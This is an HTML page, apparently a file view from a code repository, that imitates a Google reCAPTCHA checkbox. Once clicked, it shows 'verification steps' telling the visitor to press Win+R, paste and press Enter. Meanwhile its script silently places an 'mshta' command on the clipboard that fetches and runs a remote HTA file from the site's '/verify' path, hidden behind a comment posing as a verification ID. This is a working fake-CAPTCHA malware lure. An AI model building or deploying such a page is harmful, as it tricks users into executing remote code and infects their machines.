File size: 12,028 Bytes
f44c384
 
9b74d8b
 
 
 
 
a520916
9b74d8b
 
a520916
f44c384
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
5737d53
f44c384
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9b74d8b
 
f44c384
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9b74d8b
f44c384
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9b74d8b
f44c384
 
 
 
 
 
 
 
 
9b74d8b
 
 
 
f44c384
 
 
 
 
9b74d8b
f44c384
 
9b74d8b
 
f44c384
 
 
9b74d8b
f44c384
 
 
 
 
 
 
9b74d8b
f44c384
9b74d8b
 
 
f44c384
a520916
9b74d8b
 
 
 
 
f44c384
 
 
 
 
 
 
 
9b74d8b
f44c384
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9b74d8b
 
f44c384
 
 
 
 
 
 
 
 
9b74d8b
f44c384
 
 
 
 
9b74d8b
 
 
 
 
f44c384
 
 
 
 
 
 
 
 
 
 
9b74d8b
 
f44c384
 
 
 
 
 
 
 
 
 
 
 
 
 
9b74d8b
f44c384
 
9b74d8b
f44c384
 
9b74d8b
f44c384
 
 
 
 
9b74d8b
 
 
 
 
f44c384
 
 
9b74d8b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
f44c384
9b74d8b
 
 
 
f44c384
 
9b74d8b
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>reCAPTCHA Verification</title>
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css">
    <style>
        .bold-large-text {
            font-weight: bold;
            font-size: 36px;
        }
        .container {
            font-family: Roboto, helvetica, arial, sans-serif;
        }
        .m-p {
            margin: 0;
            padding: 0;
        }
        .block {
            display: block;
        }
        code {
            font-size: 9px;
            margin-left: 2px;
            color: gray;
        }
        .line-normal {
            line-height: normal;
        }
        .checkbox-window {
            height: 74px;
            width: 300px;
            background-color: #f9f9f9;
            border-radius: 3px;
            border: 1px solid #d3d3d3;
        }
        .checkbox-window a {
            color: #555;
            text-decoration: none;
        }
        .checkbox-window a:hover {
            color: #555;
            text-decoration: underline;
        }
        .checkbox-container {
            width: 28px;
            height: 28px;
        }
        .checkbox {
            position: relative;
            background-color: #fff;
            border-radius: 2px;
            height: 100%;
            width: 100%;
            border: 2px solid #c1c1c1;
            margin: 21px 0 0 12px;
            outline: none;
            font-family: Roboto, helvetica, arial, sans-serif;
            transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
        }
        .checkbox:hover {
            border: 2px solid #b2b2b2;
        }
        .im-not-a-robot {
            position: relative;
            left: 52px;
            bottom: 3px;
            font-size: 15px;
            color: #282727;
        }
        .captcha-logo {
            position: relative;
            left: 244px;
            bottom: 36px;
            width: 40px;
            height: 45px;
            vertical-align: baseline;
            padding-bottom: 4px;
        }
        .checkbox-desc {
            color: #555555;
            position: relative;
            font-size: 8px;
            text-align: center;
            bottom: 40px;
            left: 112px;
        }
        .spinner {
            visibility: hidden;
            position: relative;
            top: -85px;
            left: 12px;
            height: 20px;
            width: 20px;
            border: 2px solid rgba(0, 0, 0, 0.1);
            border-top: 2px solid #333;
            border-radius: 50%;
            opacity: 0;
            transition: opacity 0.5s linear;
            animation: spin 1s linear infinite;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .verify-window {
            font-family: Roboto, helvetica, arial, sans-serif;
            opacity: 0;
            position: absolute;
            visibility: hidden;
            margin: auto;
            width: 310px;
            background-color: #fff;
            border: 1px solid #cecece;
            box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
            transition: opacity 400ms;
        }
        ol {
            counter-reset: item;
            list-style-type: none;
            padding-left: 0;
        }
        ol li {
            counter-increment: item;
            margin-bottom: 10px;
        }
        ol li::before {
            content: counter(item) ". ";
            color: #1A73E8;
            font-weight: bold;
            margin-right: 10px;
            margin-left: 10px;
        }
        .verify-container {
            padding: 8px;
        }
        .verify-header {
            background-color: #1A73E8;
            padding: 16px 16px 24px 16px;
            color: #fff;
        }
        .verify-header-text-small {
            font-size: 14px;
            line-height: normal;
        }
        .verify-header-text-medium {
            font-size: 16px;
        }
        .verify-header-text-big {
            font-size: 24px;
            font-weight: 700;
        }
        .verify-main {
            padding: 5px;
            color: #111;
            font-size: 14px;
        }
        .verify-footer {
            border-top: 1px solid #cecece;
            padding: 10px 7px 10px 7px;
            color: #737373;
            display: grid;
            grid-template-columns: auto 102px;
            font-size: 13px;
        }
        .verify-footer-left {
            padding: 5px;
        }
        .verify-verify-button {
            text-transform: uppercase;
            background-color: #5a89e2;
            color: #fff;
            text-align: center;
            width: 100%;
            padding: 12px 0;
            text-decoration: none;
            font-weight: 600;
            height: min-content;
            border-radius: 3px;
            font-size: 14px;
            border: none;
            outline: none;
            cursor: not-allowed;
        }
    </style>
</head>
<body>
    <div class="container m-p">
        <div id="checkbox-window" class="checkbox-window m-p block">
            <div class="checkbox-container m-p">
                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
            </div>
            <p class="im-not-a-robot m-p line-normal">I'm not a robot</p>
            <img src="https://www.gstatic.com/recaptcha/api2/logo_48.png" class="captcha-logo line-normal" alt="reCAPTCHA">
            <br>
            <p class="checkbox-desc m-p line-normal">
                <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - 
                <a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
            </p>
            <img class="spinner" alt="" id="spinner">
        </div>

        <div id="verify-window" class="verify-window">
            <div class="verify-container">
                <header class="verify-header">
                    <span class="verify-header-text-medium m-p block">Complete these</span>
                    <span class="verify-header-text-big m-p block">Verification Steps</span>
                </header>
                <main class="verify-main">
                    <p>To better prove you are not a robot, please:</p>
                    <ol>
                        <li>Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li>
                        <li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>
                        <li>Press <b>Enter</b> on your keyboard to finish.</li>
                    </ol>
                    <p class="verify-main">
                        You will observe and agree:<br>
                        <code>
                            ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id" class="bold-large-text">4743</span>"
                        </code>
                    </p>
                </main>
            </div>
            <footer class="verify-container verify-footer">
                <div class="verify-footer-left">
                    Perform the steps above to finish verification.
                </div>
                <button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button>
            </footer>
        </div>
    </div>

    <script>
        let checkboxWindow = document.getElementById("checkbox-window");
        let checkboxBtn = document.getElementById("checkbox");
        let checkboxBtnSpinner = document.getElementById("spinner");
        let verifywindow = document.getElementById("verify-window");

        function addCaptchaListeners() {
            if (checkboxBtn) {
                document.addEventListener("click", function (event) {
                    let path = event.composedPath();
                    if (!path.includes(verifywindow) && isverifywindowVisible()) {
                        closeverifywindow();
                    }
                });
                checkboxBtn.addEventListener("click", function (event) {
                    event.preventDefault();
                    checkboxBtn.disabled = true;
                    runClickedCheckboxEffects();
                });
            }
        }

        function runClickedCheckboxEffects() {
            hideCaptchaCheckbox();
            setTimeout(showCaptchaLoading, 500);
            setTimeout(showVerifyWindow, 900);
        }

        function showCaptchaLoading() {
            checkboxBtnSpinner.style.visibility = "visible";
            checkboxBtnSpinner.style.opacity = "1";
        }

        function hideCaptchaLoading() {
            checkboxBtnSpinner.style.opacity = "0";
            setTimeout(() => {
                checkboxBtnSpinner.style.visibility = "hidden";
            }, 500);
        }

        function hideCaptchaCheckbox() {
            checkboxBtn.style.width = "4px";
            checkboxBtn.style.height = "4px";
            checkboxBtn.style.borderRadius = "50%";
            checkboxBtn.style.marginLeft = "25px";
            checkboxBtn.style.marginTop = "33px";
            checkboxBtn.style.opacity = "0";
        }

        function showCaptchaCheckbox() {
            checkboxBtn.style.width = "100%";
            checkboxBtn.style.height = "100%";
            checkboxBtn.style.borderRadius = "2px";
            checkboxBtn.style.margin = "21px 0 0 12px";
            checkboxBtn.style.opacity = "1";
        }

        function generateRandomNumber() {
            const min = 1000;
            const max = 9999;
            return Math.floor(Math.random() * (max - min + 1) + min).toString();
        }

        function closeverifywindow() {
            verifywindow.style.display = "none";
            verifywindow.style.visibility = "hidden";
            verifywindow.style.opacity = "0";
            showCaptchaCheckbox();
            hideCaptchaLoading();
            checkboxBtn.disabled = false;
        }

        function isverifywindowVisible() {
            return verifywindow.style.display !== "none";
        }

        function setClipboardCopyData(textToCopy) {
            const tempTextArea = document.createElement("textarea");
            tempTextArea.value = textToCopy;
            document.body.appendChild(tempTextArea);
            tempTextArea.select();
            document.execCommand("copy");
            document.body.removeChild(tempTextArea);
        }

        function stageClipboard(commandToRun, verification_id) {
            const suffix = " # ";
            const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: ";
            const end = "''";
            const textToCopy = commandToRun + suffix + ploy + verification_id + end;
            setClipboardCopyData(textToCopy);
        }

        function showVerifyWindow() {
            if (!verifywindow) {
                console.error('Verify window element is missing!');
                return;
            }
            verifywindow.style.display = "block";
            verifywindow.style.visibility = "visible";
            verifywindow.style.opacity = "1";
            verifywindow.style.position = "fixed";
            verifywindow.style.top = "50%";
            verifywindow.style.left = "50%";
            verifywindow.style.transform = "translate(-50%, -50%)";

            const verification_id = generateRandomNumber();
            const verificationIdElement = document.getElementById('verification-id');
            if (verificationIdElement) {
                verificationIdElement.textContent = verification_id;
            }

            const htaPath = window.location.origin + "/verify";
            const commandToRun = "mshta " + htaPath;
            stageClipboard(commandToRun, verification_id);
        }

        addCaptchaListeners();
    </script>
</body>
</html>